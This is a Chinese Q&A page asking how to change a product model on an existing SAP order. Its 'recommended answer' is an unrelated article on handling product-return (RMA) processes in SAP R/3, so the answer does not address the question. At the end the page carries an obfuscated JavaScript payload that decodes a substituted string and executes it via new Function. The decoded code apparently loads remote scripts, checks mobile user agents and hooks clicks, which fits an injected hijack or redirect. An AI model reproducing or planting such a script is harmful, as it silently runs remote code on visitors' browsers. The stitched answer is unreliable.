刚接触sap系统,已经生成订单了,客户又要改型号,怎么改
刚接触sap系统,已经生成订单了,客户又要改型号,怎么改
推荐回答(2个)
ERP系统:退货流程的解决方案
姜铁虎
1.概述
在高科技制造业中有效地对产品退货进行控制和跟踪有很大的意义。对于一个产品成本从几元到几十万元的工业,管理退货流程的能力至关重要,缺乏跟踪和控制有可能导致上百万元的损失。除了由于免费修理非承保产品以及被替换品不退回或乱放给企业造成的直接经济损失外,也还存在着产品质量和顾客满意度方面的问题。此外,一个设计和实施很糟糕的退货流程有可能对企业的绩效甚至对企业的未来产生巨大的负面影响。为了改进客户关系,企业对退货流程的管理越发重视。供应链协会在2000年11月发布的新一版SCOR模型(4.0版)中已经增加了退货流程,从而把供应链运作参考模型的范围延伸到了产品售后的客户支持领域。
管理和控制退货渠道的关键是退货授权(Return Material Authorization,RMA)流程。在高科技制造业中,产品的性能和可靠性是企业成功与否的关键,顾客需要有一个渠道来退回次品并立刻引起厂商的注意和解决。本文讨论了如何应用ERP软件(SAP R/3)对高科技制造业中的RMA流程进行分析和设计。
2.RMA流程
RMA流程涉及退货过程的物流和与其相关的信息流。退货物流包括内部物流(顾客退货),维修周期(包括修理退货所需的材料),和外部物流(修好的产品)。RMA流程的信息流由所有RMA的状态组成,包括顾客联系日期,运输信息,退货接收,维修历史,报废零件,替换产品,质量数据等等。
RMA流程始于顾客报告制造商关于产品的缺陷或故障。通常在最初的接触中,厂商会试图做一些初步的故障诊断看看是否能帮助顾客立刻解决问题。在许多情况下,故障是由软件问题引起,这些故障通常能通过电话或Internet作出诊断并解决。如果是硬件问题,厂商会指导顾客如何退货。
制造商通常对每个顾客的请求分配一个独特的数字,以此来跟踪和控制RMA流程。顾客今后就同一产品再与厂商打交道时都以这个RMA号作为参考,企业内部则使用这个数字来收集与这一产品相关的信息。在做了退货安排,修理完成或替换品发出后,RMA流程就结束了。图1 给出了RAM流程的简图。
图1 RMA流程简图
3.ERP和SAP R/3
企业资源规划(ERP)系统是一个集成软件包,包含了一整套成熟的商业应用程序和工具,用于企业的财务和成本核算,分销,物料管理,人事资源管理,生产计划和计算机集成制造等。把这些基本的软件模块结合在一起,企业就可以构造和重组其业务流程。为了实现企业信息化,更有效地管理整个组织,许多企业现在都在实施ERP系统。ERP系统可用来协调和控制订单管理,生产流程,客户服务,产品库存,资金流动,财务管理等等;此外,通过企业的ERP系统接口和Internet,企业之间可以形成夥伴关系,实现B2B的电子商务。显然这是一个庞大而复杂的系统,实施人员不仅要了解各职能部门,同时也要了解整个企业的运作。提供ERP系统的软件公司主要有PeopleSoft,Oracle,Baan,JDE和SAP等。
本文主要介绍目前ERP市场的领头羊SAP及其产品R/3。SAPR/3是一个客户/服务器的ERP系统,它能从整个企业观点提供分布式的应用能力,如计划,排程,成本等功能可应用于多层次的组织(如各种工作中心,分店,事业部和公司),另外它还具有多国语言和货币等全球应用能力。根据美国著名的ERP咨询公司PricewaterhouseCoopers的报告,1997年ERP市场的软件销售和维护税收是144亿美元,并且正在以每年20%的速率增长。其中SAP占有超过15%的市场,SAP的市场地位已经使SAPR/3成为非正式的工业标准。
4.RMA和SAP R/3
对于集中在一个职能部门的软件,只要决策是在这个职能范围之内,它还是有效的。然而许多决策都有交叉职能的输入和影响,这就限制了传统软件系统的有效性。当企业试图让两个或多个基于职能的软件系统互相通讯时会产生更大地问题,其结果往往是运作效率低下,数据混乱和需要更多的软件支持。
ERP软件采用了完全不同的方法,它只有一个数据库,所有应用程序都使用相同的数据库。ERP软件的设计思想是要保证各功能模块的集成,这种方法或许减少了原有独立系统的功能水平,然而这种功能上的减少与让所有应用模块一起工作的能力相比是微不足道的。
ERP系统的主要好处就是能够对一个作业自始至终做均衡管理。让软件来控制作业工作流是强有力的,但企业必须重组其流程来排除不必要的或冗余的操作。在ERP系统的实施中,人们可以重组流程来匹配软件功能,也可以客户化软件来匹配现有流程。尽管前一种方法已经证明更合乎逻辑和更有效,但ERP系统的实施还是首先要处理好是改变企业流程还是客户化软件这一关键问题。
过去,ERP系统实施失败的最普遍的原因之一就是企业在实施过程中发现ERP系统不支持企业中某个重要的业务流程。解决这一问题的方法或是改变业务流程来匹配ERP系统流程,或是客户化ERP软件来适应企业流程。两种方法各有缺点,改变业务流程可能造成企业组织的混乱,修改软件可能拖延项目并且使以后的软件升级更加困难。解决这一问题的最好办法是两者的折衷,既不完全重新设计企业流程,也不对软件做大量的修改。然而许多企业还是倾向于接受他们ERP软件商的劝告,更注重流程的改变。
根据著名咨询公司Deloitte Consulting的一项研究,在实施ERP系统的公司中,有四分之一指出ERP系统实际运转后公司业绩下降。研究还揭示这种最初的性能下降问题是企业流程改变后最经常的结果,企业通常要花3到9个月时间从这种管理性能的下降中恢复。这也表明不充分了解各种后果就改变企业流程可能带来的影响,它支持这样一个观点,不是所有业务流程都需要做彻底改变来看齐ERP软件。
Thomas Davenport在他的《关键使命》(Mission Critical)一书中,总结了一些以ERP软件实施作为流程重组的激励来获得成功的案例。他在书中说到:“公司开始认识到作业数据为公司重新设计基本业务流程带来了机会,这些流程能产生一套全新的决策。” 这一研究指出,通过ERP系统的实施和与其相应的业务流程的改变,企业就能实现管理的改进。
例如,在过去的系统中,用户报告制造商关于他们想要退货的产品缺陷和故障,这些信息通常只能在客户接触的那些人所使用的信息系统中得到。如果这些人是在客户服务部,他们或许会有限地记录一些客户的信息并保证让维修人员回话。当维修人员给顾客回话时,他们通常也只有有限的用户信息,如用户产品的型号或客户服务人员所记下的一些原始记录。在这种情况下,顾客和制造商通常不得不再次提供和输入相同的信息。
解决这个问题的一个办法是公司容许单个职员访问多个数据库系统,以便获得需要的信息来帮助顾客。但这加重了职员的负担,为了找到这些数据他们得在不同的系统中来回切换。另一个办法是把数据的存取和控制分开,这样顾客的请求又要经过几个人的手才能完成,通常这种解决办法会让顾客感到恼火。
一些涉及解决问题的人员可能分散在销售,产品工程,生产制造,材料管理,财务会计,质量管理,和软件开发等各个部门;由于RMA流程存在这样许多潜在的步骤,一些企业已经成立专门机构来负责处理退货流程。
还有一个问题,就是当顾客想知道他们的RMA状况时,如何为其提供这些状况信息。对这个问题的解决,需要有人花大量的时间来跟踪当前RMA的状况。在使用象R/3这样数据集中存储的ERP软件后,不必去关心作业的物理进程,客户服务人员就已经能回答顾客提出的许多问题。当然这还不是对RMA流程问题的完善的解决办法,因为人们并不想让一个低效的流程自动化。下面一节提出了一个RMA流程,它利用SAPR/3来提供集中信息资源,建立了一个响应迅速而有效的流程所必须的管理和控制结构。
5.RMA流程的分析和设计问题
在开发信息系统的最初阶段有几项工作要做,包括了解流程,收集有关信息和需求,识别现有流程中存在的问题等。下面就来谈谈RMA流程的分析和设计问题。
物料跟踪(批号或序列号) -- 为了控制退货,需要使用序列号。这一序列号使用政策也必须在整个企业范围内实施,它提供了对产品的闭环跟踪。顾客退货没有序列号,就会影响决定物料来源和使用时间的能力。
未计划退货接收 -- 不提供发货收据中的RMA参考号,顾客返回的产品将导致物料按未计划退货接收。在过去,这些物料将转到回收站,不做物料归档即结束RMA流程。跟踪未指定RMA的物料是不增值活动,应当排除。
承保信息 -- 如果没有物料跟踪(第一个问题),要想识别产品什么时候售出,并以售货单为依据决定担保是否有效是件很费时的事。缺乏物料跟踪还会产生这样一种情况,即顾客提供的产品售货单是在保修期内,但退回的产品却是非担保的。没有物料跟踪难以识别这些情况,免费修理和维护已过承保期的产品,就会给企业造成损失。
产品替换 -- 按顾客优先级决定应当立刻把替换品先发送给谁。这里的问题是如何通过跟踪退货来结束RMA流程。
退货维修级别 -- 这个问题与承保信息有关,顾客可以依据在担保期内的产品订单号退货。在修理过程中,退货维修在当前级别内免费。
一个支持RMA流程的信息系统必须处理上面这些问题;此外,系统还应有下面一些能力:
为质量管理数据库收集检查和测试的结果:信息系统要有收集退货检测结果的能力,这个数据然后传到质量管理数据库。退货的故障以及故障的原因是评测产品质量的关键信息。
能确定关键顾客所购产品的信息库:这一信息用来精确计算顾客产品的故障率;有了这个信息,企业就能判定顾客退回产品的故障率在什么情况下比该产品或产品系列的正常故障率更高。
顾客退货评估:这一信息用于评测潜在的退货滥用,用作这种评估的输入数据需要从退货渠道和最终用户那收集。
6.RMA流程的SAP R/3方案
图2 RMA生成流程图
SAP R/3系统通过分销模块中一个被称为退货处理的功能来支持RMA流程。此外,系统还支持顾客投诉的记录,这一功能通过质量管理模块和处理维修订单的服务管理模块来实现。退货处理功能引用质量管理模块,而服务管理模块则引用退货处理功能。
SAP R/3的退货处理解决了前面提到的许多分析和设计问题。RMA的生成需要一些信息,这些信息提供了一个有效的RMA流程所必须的管理和控制,包括销售订单号,顾客号,批号(或序列号),和产品ID(模型标识)。通过收集RMA流程中这些必要的信息,在保修和包换过程中的许多问题就能得以解决。
RMA流程始于RMA的生成,而RMA的生成又是从接收和记录用户的问题开始。当客户服务人员确定是产品问题而且在用户所在地没有维修点、必须退回修理时,RAM就产生了。
图3 RMA物料接收流程图
图4 RMA物料发放流程
图2 给出了RMA生成流程。这个流程的关键元素是确定序列号(必须的输入)和决定该产品是否在保修期内。在流程结束时RMA被保存,SAP R/3系统为其分配一个内部文件号。这个文件号以后可用于内部和外部的RMA状态跟踪和相关的活动,也可把它传给外部客户关系管理(CRM)系统(如果有CRM的话)。这样,SAP R/3系统之外的人员也能查看RMA状态,通过这个系统(SAP R/3和CRM)的接口还可以把有关信息发布在网站上供用户查询。
在RMA生成后,宏观RMA流程的下一步是退货接收。处理RMA中的退货接收是通过分销模块中的发货(shipping)功能,并结合物料管理模块中的产品流动(goods movement)功能来实现的。这一专门的流程也被称为“退货产品接收处理”。图3 给出了RMA的物料接收流程图。在这个流程中,物料接收后RMA和修理单便被更新。由于物料接收过程是一种商品流动,因此需要在内部设定一个文件号并把它附到RMA文件流,这一信息可用于维护关键用户所购产品的数据库。
在分销模块和物料管理模块集成中出现的另一个流程是替换品的发放(如果退货在保修/替换期内,见图2)。这一流程包括给顾客免费送出替换品,图4 给出了这个功能的流程图,它还包括在分销模块中生成一个免费售货单。SAP R/3为这种订单类型(免费)生成一历史记录。在处理售货单时,每一步(拾取,打包,发运)的文档都附到这个订单上,而这个订单又附到RMA上。SAP R/3的向下能力容许用户根据不同的详细水平查看所有这些信息。
RMA的整个过程包括连接前面提到的四个流程和修理订单流程(图5)。修理流程包括返回物料的检查和测试,订购修理退货所需的零件,进行维修(包括按维修级别所做的产品升级),计算维修成本,和把修好的退货入库。这个流程涉及服务管理模块和物料管理模块,此外它也同控制模块(成本核算)集成。
图5 对修理过程的物流做了一个大致的描述,如果企业采用外协维修,则需要用外协厂提供的数据来更新RMA或者外协厂商有权访问这个SAP R/3系统。
7.结论
本文提出的对RMA流程的解决方案可以排除多个(五个以上)没有集成的部门管理系统,这些系统中每个系统都需要有一个管理员来维护和更新。把整个流程集成到一个ERP系统的解决办法只需要培训一到两个分析员使用SAP R/3来支持这一流程,从而排除了不必要的人力资源,提高了运作效率。这一解决方案表明有必要用一个集成软件系统来有效地处理客户需求,SAP R/3中的功能模块为高科技制造业支持RMA流程提供了必要的元素。通过集成SAP R/3中几个不同的模块(分销,物料管理,服务管理,质量管理,财会,和控制),现有RMA流程中的问题就能得到解决。
图5 退货修理流程
SAP R/3的功能容许全面跟踪RMA流程及所有相关的文档,这一方案也能在许多方面产生成本节约,包括担保开销,退货丢失,改进质量数据,和更好的顾客信息等。RMA流程的SAP R/3实施方案是处理退货流程的一个高效而有效益的方法。由于ERP系统价格昂贵,单纯为改进RMA流程而实施ERP是不值得的。但对于已经实施或正在实施ERP系统的企业,软件系统的功能应该能为企业改进RMA流程提供机会。
本文提出了用ERP系统改进RMA流程的方案。进一步的研究需要评估实施后的结果,包括成本节约,客户服务的改进,和流程周期的减少。此外,对其它ERP系统及其RMA功能的评测也值得研究。
参考文献:
P. Buxmann, W. Konig, Inter-organizational Cooperation with SAP Systems -- Perspectives on Logistics and Service Management, Springer-Verlag Berlin, Heidelberg, New York, 2000.
Raymond F. Boykin, "Enterprise resource planning software: a solution to the return material authorization problem", Computers in Industry Vol. 45, pp. 99-109, 2001.
T. Davenport, Mission Critical: Realizing the Promise of enterprise systems, Harvard Business School Publishing, Boston, MA, 2000.
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();